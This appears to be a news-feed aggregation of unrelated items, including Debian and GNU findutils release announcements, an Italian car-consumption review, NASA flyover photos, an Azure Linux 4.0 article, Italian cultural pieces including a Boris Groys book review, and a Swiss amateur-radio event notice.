Thanks to everyone who contributed to this release.

Cheers,
Alex

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Continua a guastarsi - Riparo una Philips DCC-380 per la terza volta!

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00:00 - Introduzione e il nuovo studio
00:51 - Unboxing: componenti per l'altoparlante parametrico e clamper per giradischi
02:23 - Il problema della DCC Philips: analisi degli ingranaggi
03:29 - Smontaggio completo della meccanica
05:04 - Accesso all'ingranaggio incriminato
08:12 - Rimontaggio e primi test di funzionamento
09:52 - Difficoltà tecniche
11:00 - Test con diverse cassette e risoluzione finale
12:35 - Considerazioni sulla qualità audio DCC e conclusioni
13:14 - Outtakes e "momenti di frustrazione"
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Updated Debian 12: 12.15 released

The Debian project is pleased to announce the fifteenth and final update of its oldstable distribution Debian 12 (codename bookworm). This point release mainly adds corrections for security issues, along with a few adjustments for serious problems. Security advisories have already been published separately and are referenced where available.
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Updated Debian 13: 13.6 released

The Debian project is pleased to announce the sixth update of its stable distribution Debian 13 (codename trixie). This point release mainly adds corrections for security issues, along with a few adjustments for serious problems. Security advisories have already been published separately and are referenced where available.
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Fiat 500 Hybrid, i consumi reali del Centro Prove Quattroruote

La nuova Fiat 500 Hybrid è pressoché identica alla gemella a batteria (e, come lei, esce dalle linee dello stabilimento di Mirafiori): fuori, a distinguerla c'è solo il paraurti anteriore, con una sottile presa d'aria per raffreddare il motore termico. Dentro arrivano la leva del cambio manuale e il pedale della frizione. Lunga 363 centimetri, la 500 Hybrid è fatta su misura per muoversi in città: meglio se da soli, o al massimo in due: i posti davanti sono spaziosi, mentre quelli dietro sono i più sacrificati, per l'accessibilità e lo spazio in generale, comunque superiore a quello del modello precedente. Riuscita la plancia, bella da vedere e pratica da usare, con una distribuzione razionale dei comandi (tanti quelli fisici). Resta sempre piccolo il bagagliaio: nelle rilevazioni del Centro prove la capacità complessiva è di 174 litri. Fiat 500 Hybrid: il motore Partendo dalla piattaforma della 500e, i tecnici Fiat sono riusciti ad alloggiare il tre cilindri 1.0 Firefly aspirato da 65 CV con il sistema mild hybrid. Che è rimasto lo stesso: un motogeneratore a cinghia, alimentato da una batteria a 12 V, che per qualche istante supporta il termico con 3,6 kW. Rispetto alla 500 precedente si perdono 5 CV, per i più stringenti limiti di omologazione Euro 6bis. Non è un'auto brillante, ma nello scatto breve il tre cilindri mostra una discreta brillantezza, prendendo bene i giri, grazie anche al cambio piacevole da manovrare e alla frizione leggera. I limiti della 500 Hybrid emergono quando si esce dal suo terreno d'elezione: in autostrada o sulle strade collinare, per esempio, dove il motore ha il &quot;fiato corto&quot; e occorre mettere spesso mano al cambio. Fiat 500 Hybrid: i consumi reali *Prezzo della benzina al 09/07/2026: 1,855 /litroNella Prova su strada, pubblicata su Quattroruote di febbraio 2026, la Fiat 500 Hybrid ha ottenuto solo 3,5 stelle su 5 alla voce consumi: le percorrenze medie sono calate dai 18,2 km/litro della 500 precedente ai 16 rilevati per questo modello. Un calo dovuto alla minor potenza del motore, e al fatto che l'auto è un po' più pesante (56 kg), perché più grande ed equipaggiata con sistemi di sicurezza più avanzati.&nbsp; Fiat 500 Hybrid: gamma e allestimenti La Fiat 500 Hybrid è disponibile in tre varianti di carrozzeria: berlina, cabrio (col tetto in tela) e 3+1, con una piccola porta extra dietro quella del passeggero. L'allestimento d'attacco Pop prevede cerchi d'acciaio da 15&quot;, fari posteriori a Led, quadro strumenti digitale da 7&quot; e supporto per lo smartphone. La versione Icon aggiunge i cerchi di lega da 16&quot;, il climatizzatore automatico e l'infotainment da 10,25&quot; con Apple CarPlay e Android Auto wireless. La serie speciale Torino, disponibile nelle colorazioni Yellow Gold e Ocean Green, si distingue per il badge con la Mole Antonelliana e i sedili con il logo Fabbrica Italiana Automobili Torino. La versione più ricca La Prima aggiunge cerchi da 17&quot;, vetri posteriori oscurati e tetto in vetro con tendina parasole; dentro c'è la ricarica wireless, la telecamera di parcheggio, il sedile posteriore sdoppiato 50/50 e quelli anteriori riscaldabili. Fiat 500 Hybrid: i prezzi Fiat 500 Hybrid Pop: 19.900 euroFiat 500 Hybrid Torino: 20.900 euroFiat 500 Hybrid Icon: 21.650 euroFiat 500 Hybrid La Prima: 24.650 euroFiat 500 Hybrid Pop Cabrio: 22.900 euroFiat 500 Hybrid Icon Cabrio: 24.650 euroFiat 500 Hybrid Dolcevita: 25.200 euroFiat 500 Hybrid La Prima Cabrio: 27.650 euroFiat 500 Hybrid Pop 3+1: 21.400 euroFiat 500 Hybrid Icon 3+1: 23.150 euroFiat 500 Hybrid La Prima 3+1: 26.150 euro Consumi reali, tutte le nostre prove autoAudi Q3 Sportback TDIDacia Duster Hybrid 155Fiat 500 HybridHonda Prelude 2.0 HEVHyundai Tucson 1.6 HEVRenault Clio E-TechToyota Aygo X 115 Hybrid
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findutils @ Savannah: GNU findutils 4.11.0 released

This is to announce findutils-4.11.0, a stable release.

This release follows the recent POSIX (IEEE Std 1003.1-2024) changes,
especially to mention the new behavior of 'find -mount' vs. 'find -xdev',
as well as a lot of documentation improvements.

See the NEWS below for more details.

GNU findutils is a set of software tools for finding files that match
certain criteria and for performing various operations on them.
Findutils includes the programs "find", "xargs" and "locate".
More information about findutils is available at:
     https://www.gnu.o ... ftware/findutils/

Please report bugs and problems with this release via the the
GNU Savannah bug tracker:
     https://savannah. ... /?group=findutils

Please send general comments and feedback about the GNU findutils
package to the mailing list (<mailto:bug-findutils@gnu.org):
     https://lists.gnu ... nfo/bug-findutils

There have been 186 commits by 10 people in the - sigh - 25 months since 4.10.0:
     Bernhard Voelker (77)         Bjarni Ingi Gislason (1)
     Christoph Anton Mitterer (1)  Collin Funk (5)
     Dave (1)                      G. Branden Robinson (42)
     James Youngman (55)           Luk303241305241 Zaoral (1)
     danny mcClanahan (1)          raf (2)

This release was bootstrapped with the following tools:
      Autoconf 2.72
      Automake 1.17
      M4 1.4.19
      Gnulib v1.0-3131-ga575239e47

Please consider supporting the Free Software Foundation in its fund
raising appeal; see <https://www. ... .org/appeal/>.

Thanks to everyone who has contributed!

Have a nice day,
Bernhard Voelker & James Youngman [on behalf of the GNU findutils maintainers]

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Here are the compressed sources:
     https://ftp.gnu.o ... ils-4.11.0.tar.xz

Here are the GPG detached signatures[*]:
     https://ftp.gnu.o ... 4.11.0.tar.xz.sig

Use a mirror for higher download bandwidth:
     http://www.gnu. ... /order/ftp.html

Here is the SHA256 checksum:

     bfd19cb06cc71f3352d567e90284d8cdac02ac89774bbeadf0b533b0c11432fd  findutils-4.11.0.tar.xz

[*] Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact.  First, be sure to download both the .sig file
and the corresponding tarball.  Then, run a command like this:

gpg --verify findutils-4.11.0.tar.xz.sig

If that command fails because you don't have the required public key,
then run this command to import it:

gpg --keyserver keys.gnupg.net --recv-keys 0CF4E8D871593224842832B888DD9E08C5DDACB9

and rerun the 'gpg --verify' command.

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NEWS

  • Noteworthy changes in release 4.11.0 (2026-07-11) [stable]


** Bug Fixes

   find no longer crashes when diagnosing a directory cycle (without a symlink
   being involved pointing to a parent directory).
   [Bug present since the FTS implementation.]

   'find -used' now behaves correctly on OpenBSD 7.8 with difftime(3) underflow
   bug in the C library (already fixed there) when the access time of a file is
   identical to its change time. [#68264]

   'find -ignore_readdir_race' now better handles races between FTS reading a
   directory and visiting its entries when the file or directory was meanwhile
   removed. [#45930]

   To fix a POSIX compatibility bug, -exec foo Z{} + is no longer a
   complete predicate, because '+' is only a terminator when it follows
   an argument which is exactly '{}'.  The findutils documentation
   already states this, and now find's behaviour matches the
   documentation. [#66365]

   'updatedb.sh' now properly handles the variables for the 'find' and 'frcode'
   utilities, and hence avoids command injection.

** Changes in find

   As announced since the release of 4.7.0 (2019) and mandated by POSIX 2024,
   the behaviour of the -mount option changed: while it was a mere alias for
   the -xdev option to prevent descending into directories of another device,
   the -mount option now makes find(1) ignore files on another device, i.e.,
   'find -mount' will skip the entry of active mount points already.
   Example, assuming the PROC filesystem is mounted on '/proc':
     $ find / -mount -path /proc -print
     $ find / -xdev -path /proc -print
     /proc
   [#54745]

   The actions -execdir and -okdir now refuse the '{}' replacement in the zeroth
   argument of the command to be run.  While POSIX allows this for -exec, this is
   deemed insecure as an attacker could influence which files could be found.

   'find -regex' with the default or the 'emacs' regextype now aligns better with
   Emacs behaviour, and therefore e.g. supports character classes:
     $ touch 123 && find -regex './12[[:digit:]]'
     ./123

   find now issues a warning when the punctuation operators '(', ')', '!' and ','
   are passed with a leading dash, e.g. '-!'.  Future releases will not accept
   that any more.  Accepting that was rather a bug "since the beginning".

** Improvements

   xargs now gives a better error diagnostic when executing the given command
   failed.

** Documentation Changes

   The most recent version of the POSIX standard (IEEE Std 1003.1-2024,
   also known as The Open Group Base Specifications, Issue 8) has
   standardised "find -print0" and "xargs -0".  Our documentation now
   points this out.  Similarly for 'find -iname'.

   The code example for "Finding the Shallowest Instance" in the Texinfo manual
   and the corresponding one in the EXAMPLES section in the find.1 man page have
   been fixed.  [#62259]

   Translators contributed numerous fixes for issues in the find.1 man page.

   The list of actions that suppress the default -print action has been
   supplemented with the missing '-print0' and '-fprint0' actions.

   The manual pages have been updated to give better and/or more
   consistent output with manpage formatters other than GNU roff.

** Translations

   Updated the following translations:
   Arabic, Brazilian Portuguese, Bulgarian, Chinese (simplified), Croatian,
   Czech, Dutch, Estonian, French, German, Indonesian, Korean, Polish,
   Portuguese, Romanian, Spanish, Swedish, Ukrainian.

** Future Changes

   A future release will remove the warning message find prints about
   the 2007 change in the meaning of "-perm /000".  Everybody who is
   likely to care probably knows about this change by now.

-eof-

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NASA Photographer Captures Images from F-18 Over Washington

2 min read

Preparations for Next Moonwalk Simulations Underway (and Underwater)

A man in a tan flight suit, flight gear, and helmet takes a photo with a camera over his left shoulder inside of a jet aircraft. The red and white wings of the aircraft are seen to the sides of the man. A second jet aircraft with red, white and blue paint is seen to the right of the frame. There are buildings and grassy areas below the two aircraft.
NASA photographer Jim Ross flies above the Washington Monument in Washington on Saturday, July 4, 2026, in an F-18 aircraft, as part of a flyover to celebrate America’s 250th birthday. This aircraft is from NASA’s Armstrong Flight Research Center in Edwards, California, and it joined other NASA aircraft for the flyover.
NASA/Jim Ross

NASA flight photographers capture history from a perspective few ever experience, getting a rare bird’s-eye view of the agency’s missions in action. Their photos document key NASA research and give the public a front-row seat to the work happening behind the scenes.

Jim Ross, a photographer at NASA’s Armstrong Flight Research Center in Edwards, California, flew over Washington during the Fourth of July celebration to document a NASA flyover commemorating America’s 250th birthday. He’s captured some of the agency’s most exhilarating milestones, like early SR-71 flights, the delivery flight of Space Shuttle Endeavour to Los Angeles, and first flights of NASA’s X-59 quiet supersonic research aircraft.

“I grew up in Bozeman, Montana, when it was still considered a small town, so if someone told that little kid that he would be flying in a F-18 over the National Mall, he would have never believed it,” Ross said. “I love documenting history, and having the opportunity to capture flights and launches has kept me doing it for almost 37 years.”

Ross began his aviation photography career in 1989 when he joined the staff at NASA Armstrong (then Dryden). He became the photo lead in 1997, a title he retains.

Check out his images from the flyover here: https://www.nasa.gov/gallery/freedom-250/

A photographer takes a selfie from the rear seat of a jet aircraft during flight, with another jet visible through the window.
NASA photographer Jim Ross takes a selfie from the rear seat of a NASA F/A‑18 during a cross‑country flight from Spokane, Washington, to Washington, D.C., on Thursday, July 2, 2026. The agency’s F‑15, flying alongside the aircraft, is visible through the window. Both aircraft, from NASA’s Armstrong Flight Research Center in Edwards, California, participated in the Freedom 250 flyover with other NASA and military aircraft on Saturday, July 4, 2026.
NASA/Jim Ross
A man in a tan flight suit, flight gear, and helmet looks outside of a jet aircraft cockpit window while holding a camera. One other jet aircraft is seen outside of the cockpit window in the background.
NASA photographer Jim Ross flies above Washington on Saturday, July 4, 2026, in an F-18 aircraft, as part of a flyover to celebrate America’s 250th birthday. This aircraft is from NASA’s Armstrong Flight Research Center in Edwards, California, and it joined other NASA aircraft for the flyover. A NASA F-15 is seen flying to the side of the NASA F-18.
NASA/Jim Ross

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Details

Last Updated
Jul 10, 2026
Editor
Dede Dinius
Contact
  •  

Waxing Gibbous Moon

The waxing gibbous Moon is pictured above Earth from the International Space Station as it orbited 264 miles above a partly cloudy Indian Ocean southeast of Madagascar.

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Azure Linux 4.0 Released: Microsoft Expands Its Enterprise Linux Platform Beyond the Cloud

Azure Linux 4.0 Released: Microsoft Expands Its Enterprise Linux Platform Beyond the Cloud

Microsoft has officially unveiled Azure Linux 4.0, the latest version of its open-source Linux distribution designed for cloud infrastructure, enterprise workloads, and modern data centers. Formerly known as CBL-Mariner, Azure Linux has powered Microsoft's internal cloud services for years, but version 4.0 marks its biggest evolution yet by becoming a general-purpose server operating system that organizations can deploy both inside and outside Azure.

The release introduces updated core components, expanded hardware support, a predictable long-term lifecycle, and improved compatibility for enterprise environments, reinforcing Microsoft's growing investment in the Linux ecosystem.

A New Chapter for Azure Linux

Azure Linux began as Microsoft's internal operating system for Azure services, containers, and cloud infrastructure. Over time, it evolved into the foundation for many Azure-hosted workloads.

With Azure Linux 4.0, Microsoft is positioning the distribution as a broader enterprise Linux platform rather than one limited to Azure infrastructure. The operating system is now available through Azure virtual machine images, container images, and downloadable ISO files for testing and deployment in a wider range of environments.

Built for Enterprise and Cloud Workloads

Unlike desktop-focused Linux distributions, Azure Linux is optimized for infrastructure, virtualization, containers, and cloud-native applications.

Typical deployment scenarios include:

  • Cloud virtual machines
  • Kubernetes clusters
  • Container hosts
  • AI infrastructure
  • Edge computing
  • Enterprise servers

Microsoft has designed the distribution to provide a consistent operating system foundation across Azure services while remaining suitable for on-premises deployments.

Updated Core Components

Azure Linux 4.0 modernizes much of the operating system's software stack.

Highlights include:

  • Linux Kernel 7.0
  • glibc 2.42
  • OpenSSL 3.5
  • Python 3.13
  • OpenSSH 10
  • dnf5 as the default package manager

These updates improve hardware compatibility, application support, security, and overall system performance while providing developers with a more current software platform.

Security Remains a Primary Focus

Security continues to be one of Azure Linux's defining characteristics.

Version 4.0 includes:

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La guerra ucraina cambia la sicurezza delle infrastrutture critiche

La guerra in Ucraina non si combatte solo sul terreno, nel mare o nello spazio aereo. Il cyberspazio è uno degli scenari più attivi, dove vengono perpetrati quotidianamente decine di attacchi mirati alle infrastrutture civili e militari. Il continuo bersagliamento di infrastrutture energetiche, reti di comunicazione e servizi pubblici ha praticamente trasformato l’intero Paese in […]

L'articolo La guerra ucraina cambia la sicurezza delle infrastrutture critiche proviene da Securityinfo.it.

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Intervento d'emergenza ai Fori Imperiali: Carabinieri ed Esercito in azione

💾

Ci trovavamo ai Fori Imperiali, nel cuore di Roma e davanti al Colosseo, quando ci siamo imbattuti in una situazione surreale e preoccupante. Un ragazzo era steso su un muretto, completamente incosciente e senza una scarpa, con tutti i suoi oggetti a terra e i segni evidenti dell'uso di sostanze pesanti.

Non rispondeva agli stimoli e aveva ferite sul corpo, così abbiamo subito chiamato i soccorsi. Da quel momento è iniziato il caos: prima l'intervento di una misteriosa passante che ha finto di essere un medico per poi fuggire in bici col rosso, poi il provvidenziale arrivo dei Carabinieri e dell'Esercito che sono riusciti a svegliarlo. Il ragazzo era però in totale stato confusionale (ha persino provato a prendere le scarpe del Maresciallo!) prima di essere affidato all'ambulanza.

Come se non bastasse, mentre tornavamo verso la metro, un venditore abusivo ha creato l'ultimo colpo di scena accusando ingiustamente di furto uno di noi.

Un pomeriggio di ordinaria follia nella Capitale. Guarda il video per vedere com'è andata a finire.
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Tra Cristo e Narciso – Su Diventare un’opera d’arte (Timeo, 2026) di Boris Groys

La contemplazione di sé è per l’essere umano non tanto un bisogno naturale quanto un desiderio, come dimostra la nostra fisiologia, che ha collocato gli occhi nella zona anteriore della testa, da dove è impossibile guardare se stessi integralmente. In Diventare un’opera d’arte (Timeo, 2026) il filosofo tedesco Boris Groys muove dalla considerazione che questo desiderio è narcisistico nel senso letterale del termine, in quanto presuppone che chi lo serba si trasformi in un’immagine oggettiva e accessibile a chiunque, in primo luogo a sé stesso, proprio come Narciso che si specchiava nelle acque del lago.

Nel suo agile saggio Groys mostra come questo desiderio sia divenuto universale nella nostra società e connesso a quello di una qualche forma di vita dopo la morte, garantita proprio dall’immagine, indipendente dal corpo del defunto. Le considerazioni di Groys si allargano poi alle opere d’arte e alle installazioni che sopravvivono al defunto e sono a lui dedicate, come mausolei o monumenti. Tutte queste cose assolvono la funzione di rendere visibile la persona cui si riferiscono – a prescindere che si tratti di una celebrità, di un artista o di un personaggio illustre –, dando così rispondenza a un desiderio narcisistico, ma non solo: esercitano anche un influsso sul nostro immaginario collettivo e dunque, almeno indirettamente, sulle decisioni collettive attraverso le quali si dipana la vita in società.

Secondo il filosofo tedesco, il narcisista aspira ad appropriarsi della prospettiva di cui gli altri godono sul proprio corpo, in altre parole vuole “guardarsi attraverso gli occhi degli altri” (p. 8); si pone così in una posizione eccentrica rispetto a sé stesso, per ammirarsi come dovrebbero ammirarlo gli altri: a distanza, come un oggetto gradevole che si dà nello spazio. Nella misura in cui rappresenta visivamente e ostenta le proprie sembianze, il narcisista crea “uno spazio di mediazione tra il [suo] sguardo e quello degli altri” (p. 19): è su questo terreno che – soprattutto quando la sua immagine contrasta con le convenzioni dominanti – lotta per affermare e prendere il controllo della propria immagine esteriore, sociale.

Sebbene l’ambizione del narcisista sembri chiamare in causa una smodata considerazione del suo ego, il suo modus operandi contraddice le basilari esigenze di autoconservazione e cura di sé: infatti, per offrirsi allo sguardo al contempo proprio e degli altri, il narcisista deve diventare quel che Groys chiama “forma pura, vuota”, cioè spogliarsi dell’“oscuro spazio di interessi privati, bisogni e desideri al di sotto della sua superficie” (p. 17), rinunciare alla propria soggettività, sacrificare il proprio mondo interiore in nome della propria immagine esteriore. Così il filosofo tedesco accomuna Narciso, talmente immerso nella contemplazione di sé da morire di inedia, e Cristo, che tramite la crocifissione assurge a icona sacra per tutti i fedeli. Il processo di spoliazione interiore del sé intrapreso dal narcisista viene infatti accostato da Groys alla “kenosi”, termine che nella teologia cristiana indica lo svuotamento di sé praticato da Cristo, che si estrania dalla propria natura divina per assumere la condizione umana e farsi servo obbediente di Dio fino proprio alla morte in croce.

Però, mentre il sacrificio di Cristo si compie in nome del disegno divino, quello di Narciso si consuma nel segno della completa socializzazione di sé; per socializzazione di sé Groys intende l’ingresso e l’affermazione della propria immagine nell’immaginario collettivo, il suo riconoscimento presso il pubblico. La nostra società secolarizzata ha abbandonato il disegno divino e inaugurato “un mondo di design totale” (p. 35), dove è lo sguardo divino è stato sostituito da quello degli altri; quest’ultimo è esclusivamente esteriore:

la società vede solo il nostro corpo e non la nostra anima. L’atteggiamento etico viene sostituito da quello estetico ed erotico. Alla società non interessa la nostra anima, ma la nostra immagine pubblica. (p. 12)

Il desiderio di essere accettati da Dio, che implica di occuparsi della propria anima, viene rimpiazzato da quello di essere ammirato dagli altri, che esige di conformare la propria immagine.

Ciò non significa che la società del design totale sia completamente dimentica dell’anima; anzi, sotto il suo influsso l’anima si materializza: essa infatti si estetizza e si manifesta attraverso l’immagine di sé che ciascuno riesce a costruire. Ecco: l’essere umano designer di sé stesso.

Secondo Groys, il design di sé diviene il medium per la costruzione e lo svelamento dell’anima, che, in questa prospettiva e nei limiti della nostra biologia, si identifica così con l’aura data dall’aspetto che scegliamo per il nostro corpo, dai vestiti che indossiamo, agli oggetti di cui ci circondiamo, dagli spazi che abitiamo, fino ai contesti culturali a cui apparteniamo. Adulterando un popolare proverbio, potremmo dire che “l’abito fa l’anima”.

Ciò che conta al fine di determinare la propria immagine è non soltanto il corpo, ma tutto quanto lo circonda: Groys parla di cornice per indicare l’ambiente in cui ci localizziamo e che, con noi ben posizionati al suo interno, ritagliamo per offrirci allo sguardo degli altri, proprio come Narciso, che incornicia il riflesso del suo corpo nel lago. Ritrarsi con un selfie mentre si è in un viaggio di volontariato oppure in visita presso la sede di un’istituzione politica sovranazionale o presso l’Expo non è un fatto neutrale: in ciascun caso si dichiarerà la propria adesione a un certo immaginario, se non a precisi valori, mentalità, programmi e ideologie.

Secondo il filosofo tedesco la politica non è immune da questo processo di estetizzazione dell’anima, di presentazione della propria etica allo sguardo degli altri:nella misura in cui sono estetizzati dai media, i corpi dei politici si fanno veicolo di dichiarazioni più precise e credibili di piani e programmi, spesso soggetti a cambiamenti arbitrari e comunque esposti a una proliferazione che sovrasta il tempo di attenzione del pubblico. Così, la presenza di un politico in un centro di accoglienza e la sua prossimità fisica ai migranti e agli operatori del centro oppure alle locali forze dell’ordine è percepita dal pubblico come ben più impressionante, e dunque convincente, dei punti dedicati al tema migratorio dal programma elettorale del suo partito di appartenenza.

All’estetizzazione della politica fa da contrappunto “la politicizzazione dell’arte” (p. 47): secondo Groys, quando si guarda un’opera d’arte non si può fare a meno di guardare il suo contesto, cioè la cornice nella quale viene presentata, come se opera e cornice costituissero un corpo unitario. L’artista può servirsi così di qualsiasi contesto geografico (urbano, rurale, industriale, bellico o naturale) come cornice per politicizzare la sua opera, per conferirle un’aura che palesi la propria etica. Così, i murales realizzati da Bansky a Gaza e in Cisgiordania, come quelli che ritraggono un soldato israeliano che controlla i documenti di un asino o una ragazzina palestinese che perquisisce un soldato, manifestano la personale visione politica dello street artist anche per il fatto di essere localizzati negli spazi dell’occupazione militare, talvolta persino sui resti di edifici distrutti dai militari israeliani.

Insomma, che si prendano in considerazione le persone comuni o i politici o gli artisti e le loro opere, l’estetizzazione è trasversale e si compie attraverso il design di sé e dunque costruendo una cornice nella quale collocare la propria immagine (o, nel caso degli artisti, le proprie opere).

Groys scrive che viviamo circondati dagli altri e dal loro sguardo: se ne può dedurre che il posizionamento in una cornice – presentarsi, per esempio, come membro del nucleo artistico del quartiere o affiliato a un network di scrittori della controcultura di una città – dipende dalla capacità di farsi spazio tra gli altri ed esporsi senza timore al loro giudizio; e questa capacità è strettamente legata alla posizione di classe e al capitale culturale, cioè al sapere che abbiamo maturato pagando rette universitarie e post-universitarie e di cui ci avvaliamo per farci strada nel caotico mondo del design di sé.

Secondo Groys, manifestarsi sotto forma d’immagine localizzata in una cornice “vuol dire prodursi sotto forma di opera d’arte” (p. 25) e dunque nella parvenza di cosa meritevole di tutela e cura:

Per un essere umano, diventare un’opera d’arte significa liberarsi dalla schiavitù, rendersi immune alla violenza, evitare di essere utilizzato come mezzo per il bene sociale, diventare oggetto di protezione. (p. 75)

La protezione assicura all’immagine la durevolezza nel tempo: l’aspirazione del narcisista è infatti di riscuotere l’ammirazione non solo dei suoi contemporanei, ma anche delle generazioni future. Così, la produzione dell’immagine di sé coincide con la produzione di vita ultraterrena: le immagini sono indipendenti dalla nostra presenza e capaci di manifestarsi oltre la durata della nostra vita. L’accesso alla vita ultraterrena è garantito al narcisista da quel che Groys identifica come “cadavere pubblico”. Questa espressione ricomprende non solo le immagini, ma anche manufatti artistici e prodotti culturali, nonché cose materiali e immateriali (come i profili social), che si riferiscono al defunto.

Nel suo precedente saggio Filosofia della cura (Timeo, 2023) Groys parla di corpi simbolici, un’espressione maggiormente ampia che indica tanto i documenti che ineriscono alla nostra persona e ci consentono di avere accesso al sistema di cura quanto i prodotti dell’ingegno e dello spirito di una persona. Per sistema di cura Groys intende quel complesso di istituzioni, sorte in concomitanza con l’affermarsi degli Stati-nazione, che tutelano e preservano la salute delle persone in un’ottica biopolitica: è l’endiadi di Stato-nazione e capitale a volerci occupabili e produttivi, nonché buoni e affidabili cittadini.

Il sistema di cura – spiega però Groys in Diventare un’opera d’arte – non si occupa esclusivamente dei nostri corpi fisici ma anche dei corpi simbolici, onde preservarli dall’azione del tempo; precisamente, si fa carico di quei corpi simbolici che rappresentano al contempo cadaveri pubblici.

Così, la mediazione del sistema di cura è necessaria per la sopravvivenza dei cadaveri pubblici. Groys nota come l’impegno profuso dal sistema di cura vari nel corso della storia, in dipendenza sia del tipo di cadavere pubblico che della tecnologia a disposizione della civiltà.Le piramidi egizie, che svettano nel deserto come montagne, come enti della natura, abbisognano di una manutenzione praticamente nulla.

Le civiltà successive, come la greca e la romana, hanno assicurato la vita ultraterrena delle persone più illustri tramite statue e monumenti, cadaveri pubblici meno resistenti alla prova del tempo. Per questo i monumenti sono periodicamente sottoposti a restauri e le statue vengono sorvegliate e custodite in musei o siti culturali, cioè in spazi dedicati, che – basandoci sul lessico di Groys – potremmo definire come cimiteri di cadaveri pubblici.

I manoscritti prodotti dagli amanuensi nel medioevo e i quadri di quell’epoca, del Rinascimento e delle successive fasi artistiche si dimostrano ancora più fragili: si trovano non solo in dei musei, ma anche dentro teche di vetro che li proteggono dall’azione corrosiva dell’atmosfera.

Il corpo di Lenin conservato nel mausoleo per lui appositamente costruito a ridosso delle mura del Cremlino sulla piazza Rossa di Mosca è un esempio di come la sorte dei cadaveri pubblici dell’età moderna sia legata a doppio filo alla tecnologia: un gruppo di lavoro dell’Istituto di ricerca per le strutture biologiche di Mosca lo monitora costantemente per mantenerlo in condizioni adatte all’esposizione.

Nell’epoca contemporanea, in cui la digitalizzazione invade sempre più momenti e attività della nostra vita, smaterializzandoli, i cadaveri pubblici “sono frammentati e sparpagliati” (p. 96) nello spazio digitale: la loro esistenza dipende dalla fornitura di energia elettrica, che a sua volta dipende dallo sfruttamento delle risorse naturali da parte dell’essere umano e dunque dalla salute di quel che Marx chiamava ricambio organico tra uomo e natura. La democratizzazione dell’accesso alla vita ultraterrena, la garanzia offerta da internet di un cadavere pubblico per ciascuno, è direttamente proporzionale alla fragilità dello stesso cadavere pubblico.

Così, gli scritti di un autore, come pure i primi piani di una celebrità televisiva, sono disseminati tra le pagine web, e all’utente dello spazio digitale non resta altro da fare che agire come Iside, la quale recuperò per tutto l’Egitto i brani del corpo del marito per ricomporlo. Riunire invece i cadaveri pubblici in cimiteri dedicati – come biblioteche, pinacoteche e musei – significa salvarli da quel decentramento estremo prodotto da internet. Inoltre, l’articolazione del sistema culturale in archivi e depositi accessibili, in pratica in siti museali, ci permette di comunicare con autori e artisti defunti e di apprendere le forme pure e vuote che essi hanno prodotto tramite quello svuotamento di sé che è il presupposto del desiderio narcisistico: in tal modo forme risalenti a epoche passate possono essere utilizzate “come maschere e costumi per i corpi viventi contemporanei”, dando luogo a una sorta di revival culturale che promette “un nuovo inizio che cambierebbe il corso della storia” (p. 79). Groys ritiene che, per cambiare la società, sia necessario un revival delle vecchie forme anziché un’invenzione di nuove forme:

per cambiare noi stessi o la società dobbiamo uscire da questa società, trovare una metaposizione in rapporto a essa dalla quale il cambiamento diventi possibile. Qualsiasi forma che venga inventata qui e ora appartiene alla contemporaneità, anche se è proiettata nel futuro. Questo significa che solo il passato può offrire una raccolta delle metaforme vuote che possono essere riempite dal nuovo contenuto. (p. 91)

Le forme pure del passato capaci di orientarci nella direzione da imprimere al nostro vivere comune vengono selezionate tramite l’evoluzione culturale: sono lo stato di salute dell’immaginario collettivo e le convenzioni maggioritarie nell’opinione pubblica a gettare nell’oblio o chiamare alla resurrezione i cadaveri pubblici.

Il saggio di Groys lascia spazio ad alcune considerazioni sui cadaveri pubblici e sul loro ruolo nella nostra contemporaneità. La loro solidità dipende senz’altro dalla posizione di classe, dal genere e dall’etnia del defunto cui si riferiscono, ma anche dal suo capitale simbolico – cioè dalla capacità di attrarre l’attenzione. Questa capacità si traduce nell’influenza che i cadaveri pubblici possono esercitare sul nostro immaginario collettivo e sulle nostre credenze e opinioni. Che influsso possano avere sul presente i cadaveri pubblici di cui è disseminata l’infosfera, troppo numerosi per godere tutti quanti di una considerazione tale da elevarli a modelli e comunque smembrati in brani che segmentano l’attenzione dei nostri contemporanei? Nell’attuale epoca del semiocapitale, in cui l’attenzione delle persone, scarsa e deperibile, viene catturata al fine di estrarre dati da vendere, l’attenzione da dedicare a questo o a quell’altro defunto è determinata dalle prospettive di sfruttamento economico del suo cadavere pubblico, rese fattibili dall’accesso a pagamento ai siti museali e dai diritti d’autore sulle opere artistiche e letterarie. Se, per esempio, il cadavere pubblico di Che Guevara può esercitare un qualche influsso sulla nostra vita associata, assurgendo a forma pura da assumere per cambiare il presente, ciò dipende dalla vendibilità dei libri su di lui e dalle potenzialità turistiche dei siti a lui dedicati, in ultima istanza dalla commerciabilità della sua immagine e della relativa cornice. Così, l’economia cannibalizza la politica.

The post Tra Cristo e Narciso – Su Diventare un’opera d’arte (Timeo, 2026) di Boris Groys first appeared on Stanca.

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La pietra che crede di essere libera | La Filosofia della libertà di Rudolf Steiner

Siamo davvero liberi oppure siamo soltanto una pietra che ignora le cause che la muovono? Nella sua opera più importante, La filosofia della libertà, Rudolf Steiner affronta uno dei problemi fondamentali della storia del pensiero: come distinguere una scelta autenticamente nostra da un comportamento determinato da impulsi, abitudini e condizionamenti invisibili. Un percorso affascinante tra […]

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L’INTELLIGENZA ARTIFICIALE CAMBIERÀ L’UOMO? | Leone XIV e la scelta di civiltà

L’intelligenza artificiale è davvero la più grande rivoluzione della nostra epoca? Oppure il problema non è la macchina, ma l’idea di uomo che stiamo costruendo? In questa lezione analizziamo la nuova Enciclica Magnifica Humanitas di Leone XIV, non come testo confessionale, ma come una delle più importanti riflessioni filosofiche e antropologiche sul destino dell’uomo nell’era […]

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FACB lädt zum Erlebnistag nach Liestal

Der Funkamateur-Club Basel (FACB) verwandelt die SSA Sichern in ein Zentrum für Funkbegeisterte und Neugierige.

Wer glaubt, Funktechnik sei ein verstaubtes Relikt aus dem letzten Jahrhundert, täuscht sich gewaltig. Die Faszination der drahtlosen Kommunikation zieht nach wie vor Menschen jeden Alters in ihren Bann. Ein perfektes Beispiel liefert der Funkamateur-Club Basel (FACB) am Sonntag, 30. August 2026. Von 10 bis 16 Uhr öffnen die Clubmitglieder die Türen der SSA Sichern in Liestal für einen Erlebnistagmit vollem Programm.

Live-Betrieb

